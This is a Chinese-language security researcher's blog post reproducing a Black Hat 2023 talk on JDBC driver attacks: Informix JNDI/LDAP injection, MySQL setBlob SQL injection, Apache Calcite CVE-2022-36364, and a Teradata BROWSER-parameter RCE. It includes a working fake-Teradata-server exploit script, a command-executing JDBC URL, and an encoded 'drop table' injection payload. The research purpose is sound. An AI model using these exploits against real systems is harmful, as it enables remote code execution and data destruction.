2023blackhat_A_NEW_Attack_Interface_In_Java_App_复现测试
2023-05-18 03:05:29

1

没有把整个 PPT 复现完,复现了一个通宵,突然开始两眼一黑,感觉没啥太用处,就摆烂了~

IBM Informix组件

不成功的 JNDI

首先是这个 JNDI:

image-20230521015312902

看PPT说没触发,调了很久,我本人喜欢看些没用的,从过程开始一点点研究

代码:

1
2
DriverManager.registerDriver(new com.informix.jdbc.IfxDriver());
DriverManager.getConnection("jdbc:informix-sqli:informixserver=ser;SQLH_TYPE=LDAP;LDAP_URL=ldap://127.0.0.1:1099/;LDAP_IFXBASE=EvilObject");

首先这个 ldap://127.0.0.1/ 后面是不能有 path 的,有 path 连ldap请求都不发了。

然后贴一下过程:

首先是这里:

com.informix.asf.Connection#getServerInfoFromSqlhost

image-20230521015902043

然后一路 com.informix.jns.LdapSqlhosts#getServer

image-20230521015932684

这里 lbase 传入 search:

image-20230521020017837

这里有个点,就是传入 getURLOrDefaultInitDirCtx 的name如果前缀可控的话,是可以控制协议的,就可以发 rmi 了:

image-20230521020154988

可是如上上张图中他在 sname 前面拼接了 cn=,这就扯犊子了,那就只能用默认的 ldapCtx 了。

然后一路往下到:

com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate

image-20230521032345911

这里有个问题,就是用上面的 LDAP_URL 压根进不来这个 if,那怎么办呢?这里改一改:

1
jdbc:informix-sqli:informixserver=ser;SQLH_TYPE=LDAP;LDAP_URL=ldap://127.0.0.1:1389/;LDAP_IFXBASE=cn=Evil/Object

然后需要修改一下 JNDI-Inject-Exloit:

image-20230521032537941

这样就能接到请求了:

image-20230521032644708

但是,其实他返回 Reference 后,就没有后续操作了:

image-20230521032819509

所以返回了好像也没啥用,所以 PPT 上说没有触发,不知道是不是这个原因。

然后最后返回到这个函数:

com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#search(javax.naming.Name, java.lang.String, javax.naming.directory.SearchControls)

image-20230521033617965

image-20230521033628613

image-20230521033652076

这里判断了如果不是 PartialCompositeContext 这个类就抛出异常了,所以就G了~

(但是其实不是很清楚 LDAP 的攻击原理,可能理解有误~)

版本比较

值得一提的是,根据 SQLH_TYPE 获取不同的类进行请求验证的地方在这里:

com.informix.jns.Sqlhosts#Sqlhosts

image-20230521034247510

上面这张图来自

1
<version>4.50.1</version>

再来一张最新版:

1
<version>4.50.10</version>

image-20230521034349593

可以看到升级版本以后好像都不给用 LDAP 了。

IBM DB2 JCC

就是一个参数指向文件,感觉没啥的,没复现出来,。

Mysql JDBC setBlob SQL 注入

其实应该就是宽字节注入的原理,用的也是 伪预编译,往数据库发送的还是一整串的SQL语句。

PPT里没说函数位置,函数位置:

com.mysql.cj.jdbc.PreparedStatement#execute

image-20230521050417949

这个 fillSendPacket 就是把 SQL 语句造出来:

1
com.mysql.cj.jdbc.PreparedStatement#fillSendPacket(byte[][], java.io.InputStream[], boolean[], int[])

image-20230521051208145

然后如果是流的话就进入 streamToBytes:

image-20230521051407481

然后报错了:

image-20230521051531847

后来发现了问题了,我的表要是这样的:

image-20230521051815853

这是我的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.mysql_sql_inject;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.util.Base64;

public class mysql_sql_inject {
public static void main(String[] args) throws Exception {
DriverManager.registerDriver(new com.mysql.cj.jdbc.Driver());
Connection conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?user=root&password=root&useUnicode=true&characterEncoding=GBK&allowMultiQueries=true&useSSL=false");
PreparedStatement ps = conn.prepareStatement("insert msg(id,msg) values(?,?) ");

FileOutputStream fileOutputStream =new FileOutputStream("/tmp/haihaihai");
fileOutputStream.write(Base64.getDecoder().decode("J2FiY2TeJyk7ZHJvcCB0YWJsZSBtc2cj"));
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("/tmp/haihaihai");
ps.setInt(1, 4);
ps.setBlob(2, fileInputStream);
ps.execute();
ps.close();
}
}

(说实话,非常鸡肋,不太值得复现感觉~

Apache Calcite

这个的话是有个 CVE :CVE-2022-36364

然后版本要在 1.21.0 及以下:

https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica-core/1.21.0

用 PolicyFile 类可以读取一行:

看一下大概原理,原理也很简单,常规的 connect 后一路往下走进入:

1
org.apache.calcite.avatica.remote.Driver#createService

image-20230521054720077

然后如果 url 不为空就进入 HttpClient,然后到:

1
org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient

image-20230521054744519

这里的 httpClientClass 就是获取的 httpclient_impl 参数,然后:

image-20230521054907371

获取 URL 参数的构造方法然后把 url 传进去。

关于 JDBC 利用 Teradata JDBC Driver 的 RCE

这里先单独复现一个议题里的这个:

image-20230518031347673

image-20230518031401192

其实我都没见过这个 Teradata,我也不知道实战中能不能遇见,但是我非常犟,他不提供上门哪个 fake Teradata,我就想自己试试看,结果搞了一天,瞎搞搞尽然搞出来的,此处写一下瞎搞的过程~

漏洞点

先简单说一下漏洞点:

就是在

com.teradata.jdbc.jdbc.GenericTeradataConnection#GenericTeradataConnection

这个函数里:

image-20230518035515515

如果 Mech 是BROWSER,那么就获取 BROWSER 参数,然后在下面执行:

image-20230518035617762

发现问题

首先获取最先一个正常的握手字节码,就是先直接去注册个 Teradata ,然后下载一个虚拟机,然后用 wireshark 就能获取到一个稍微正常的包了,当然肯定也会连接失败。

image-20230518032325584

把这一段复制下来,然后看程序报错,进入报错点:

image-20230518032407720

这里报错是没有 Browser 这个 Mechanism(其实我觉得肯定可以在服务器添加一个 Machanism 然后就很方便了,但是我比较笨,资料又很少,实在没找到方法~~)

他这里判断了没有设置 m_gtwConfig属性,全局找找哪里设置过,

找到函数:com.teradata.jdbc.jdbc.GenericLogonController#run

image-20230518033230485

这里的设置了,这里的 getFlavor 其实就是数据包里的一个值,165 的话 16 进制就是 a5,默认是有的。

但是这里是已经解析好的 parcel 了,说明在上面的 nextParcel 应该是从数据包,也就是返回的字节码中获取解析的,跟进 nextParcel 能跟到:

com.teradata.jdbc.jdbc_4.parcel.GtwConfigParcel#determineFeatureSupport

image-20230518033956672

这里当15的时候,就会设置我们最关键的两个值 m_sIdentityProviderClientID 和 m_sIdentityProviderURL,但是有个问题是默认情况下服务器是没有设置这两个值的,所以我们刚刚拿到的包就要改改了~

修改数据包

首先这里是刚刚提到的 165,也就是 a5 之后,那么就找到一个 a5,做个截断,方便看:

image-20230518035054866

注意这里虽然我分开了,但是我用的是 += 做的拼接。

image-20230518034357610

然后仔细观察以后会发现 s1 这里有 1 2 3 4 5 。。。。这些的,这里在数据包里标出来:

image-20230518034455134

我们需要改成 15,也就是000f,这里运气很好,当我把 0003 改成 000f 之后:

image-20230518035222201

改了之后,2之后就直接变成15了,之所以选择3这里,是因为我发现把这里改了,其他点完全没有任何影响并且能顺利的执行到:

image-20230518035345593

此处离代码执行点只差最后一点,我们把这个控制成一段 http 地址就行了~

并且这个乱码看起来好像太短了,都不够填充成一个 http 地址的,所以要长一点

那么就好办了(也不是很好办),找到赋值这个 URL 的点,看看:

image-20230518035826155

进去这个 getStringUTF8 以后会发现参数 paramInt 的值是 6,直接去数据包,在0000f 后面找到第一个 0006,修改成 1a 吧,就是 26,然后再次启动服务器,进行调试:

image-20230518040139681

image-20230518040159238

成功了,现在 url 可以变成很长了,然后看看这个 url 的第一个字节是多少,改掉那个位置,测试一下(不要新增字节就好了)。

举个例子:

找到刚刚的 1a后面,替换成61,也就是 “a” 这个字节码。

image-20230518041413240

但是有个问题,就是这里读取长度是001a,但是读取字符串会把00读取进来:

image-20230518041501248

这是不行的,因为肯定要以 http 开头嘛。但是如果把 00 改成 61 的话,他就要读取611a 这么长了,这样肯定也不行。

那么怎么办呢,我们可以让他读取的位置向后偏移一个,

image-20230518044510228

在URL上面还有个读取ClientID的,重新看回data:

image-20230518044930538

000f 后面第二个 0004 改成 0005,然后在后面那个 1a,本来是1a0061,现在变成001a61:

image-20230518045021567

成功了~

然后现在还需要最后一步,现在这样会有一个问题:

image-20230518045442024

这个问题是由于刚刚改了个offset,导致往下读之后 offset 过大了,然后他判断之后就超出了 limit 了。

image-20230518045523182

有个简单的方法,回到刚刚能正常执行,但是 URL 是乱码的数据,然后 DEBUG:

image-20230518045729234

在读取完地址后继续执行,直到退出函数的时候,看看当前的 position:

image-20230518045822049

执行完这次,这个函数就退出了,这个时候设置position为 673+97 = 770,

然后再看我们当 s1 是 15 的时候的 position:

image-20230518050002551

15就是我们手动改的那个 000f,此时往下执行就会赋值 URL,然后这个时候会发现这个 s2 是 0004,这个是无关紧要的,他只参与 position 的运算,所以这里有个方法,就是直接把 s2 改大,改到加上当前的 posistion 刚好是 770,提前退出,也就是 770 - 663:

image-20230518050136717

image-20230518050801415

改完这三个点,现在基本就可控了,然后

image-20230518050744427

然后还有个小问题就是 URL里不能有 00 的:

image-20230518051121585

直接在 data 里把 00 换成 23 就好了,但是不能换太多了,把该换的换了就好。

image-20230518051221891

然后替换掉刚刚的616263那块地方往后,然后就是一定要替换相同长度的,比如我上面这串字符串48位,我就替换48位的就好了:

image-20230518051355344

成功收到请求,那么现在只需要简单写一个 flask:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
import json

app = Flask(__name__)

@app.route("/a")
def hello_world():
dddata={
"authorization_endpoint":"a",
"token_endpoint":"2"
}
return json.dumps(dddata)


if __name__ == "__main__":
app.run(debug=True,port=5555)

然后最终 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import socket

sock = socket.socket()
import binascii

dddata = "03020a00000700000378000000000000000000000000000000000000000000000000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5004c0000000100010005010002000811140309000f00340004000600210028"

url = "http://127.0.0.1:5555/a"
url = url.ljust(43,"#")
dddata+=binascii.hexlify(url.encode()).decode()

dddata+="00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e0104s0011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a"


bb = binascii.unhexlify(dddata)
sock.bind(("127.0.0.1", 1025))
s = sock.listen(1025)
client,x = sock.accept()
client.send(bb)
client.recv(10)
client.send(binascii.unhexlify(dddata))

服务器连接 JDBC:

1
jdbc:teradata://127.0.0.1/LOGMECH=BROWSER,BROWSER='open -a calculator'

image-20230518051556317

image-20230518051654723

完成啦~~~

Bypass 高版本

最后,PPT 提到可以利用上面的当个链子,在 Java17 里TemplatesImpl用不了,贴一张ppt上的图:

image-20230521055505561 可以调用 TeraDataSource 下的 getConnection,然后之后的流程就和上面的一样执行代码了~